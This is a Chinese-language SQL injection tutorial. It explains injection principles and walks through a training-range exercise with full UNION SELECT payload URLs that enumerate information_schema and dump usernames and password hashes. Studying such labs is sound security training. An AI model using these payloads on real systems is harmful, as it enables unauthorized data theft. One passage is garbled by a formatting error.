WEB 漏洞-SQL 注入在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
大部分的SQL注入是对数据库中的数据进行操作,绕过查询、更新或者是删除;
SQL注入可以操作数据,通过SQL注入直接进行后门的写入;
**两个危害:**一个是危害数据库中的数据,另一个直接危害网站权限;
SQL注入原理:通过参数的传递,传递数据过去,拼接到之前定义好的SQL语句中去,由于能拼接,将一些恶意的SQL语句拼接上去,语句就会进行一些重新的用法,实现自定义的查询;
补充:为什么图片里面的id=-2,因为我们要查询的表是另外一个,所以要把前面的查询语句置否,然后数据库就会执行后面那句;
(1)可控变量
像下面这个变量id就是可控变量,通过参数传递,可以对id进行变化;
因为这里的**id= i d ∗ ∗ , 是 变 量 可 以 修 改 , 如 果 给 定 了 一 个 值 ( 如 设 置 id**,是变量可以修改,如果给定了一个值(如设置 id∗∗,是变量可以修改,如果给定了一个值(如设置id=1111),就不可以去执行,没办法进行操作;
(2)带入数据库查询
必须要有mysql_query($sql)执行语句,如果没有上面图中的mysql_query这个语句去执行的话,也不能成功,带入数据库才行;
(3)变量未存在过滤或者过滤不严谨
实例:
答案是1、2、3;
需要有可控制变量,需要有参数,加不加index.php其实访问的页面都一样;答案4也可以,这里暂时不讲;
答案是2、3;
答案1,在y后面加 and 1=1 实现的是对y的注入,需要在x的后面加and 1=1,才能实现对参数x的注入;
答案3,在y后面写正不正确都可以,只要在x后的注入正确即可;
答案4,都没有参数x,怎么可能会有注入;
下载链接:sqlilabs安装教程
背景介绍
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MySQL的数据结构;
4.了解字符串的MD5加解密;
解题方向
手工进行SQL注入测试,获取管理密码登录。
老办法:
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
新办法:
select * from users where id=1dddddddddd LIMIT 0,1
这样输入,如果对网站有影响,证明他代入数据库查询了,证明了会有漏洞;
如果报了404错误,说明检测了,但是没有漏洞;
猜解列名数量(字段数),因为union联合查询字段数必须一样,否则会报错;
使用order by x(数字) 错误与正常的临界值;
猜解列名数量,发现输入5网站报错:
219.153.49.228:42123/new_list.php?id=1 order by 5
219.153.49.228:42123/new_list.php?id=1 order by 1,2,3,4正常
报错猜解准备
http://124.70.22.208:45141/new_list.php?id=-1%20 union select 1,2,3,4
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
**操作系统:@@version_compile_os ** Linux
必要知识点:
1.在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储所有数据库名,表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
3.information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
md5解密得到用户名: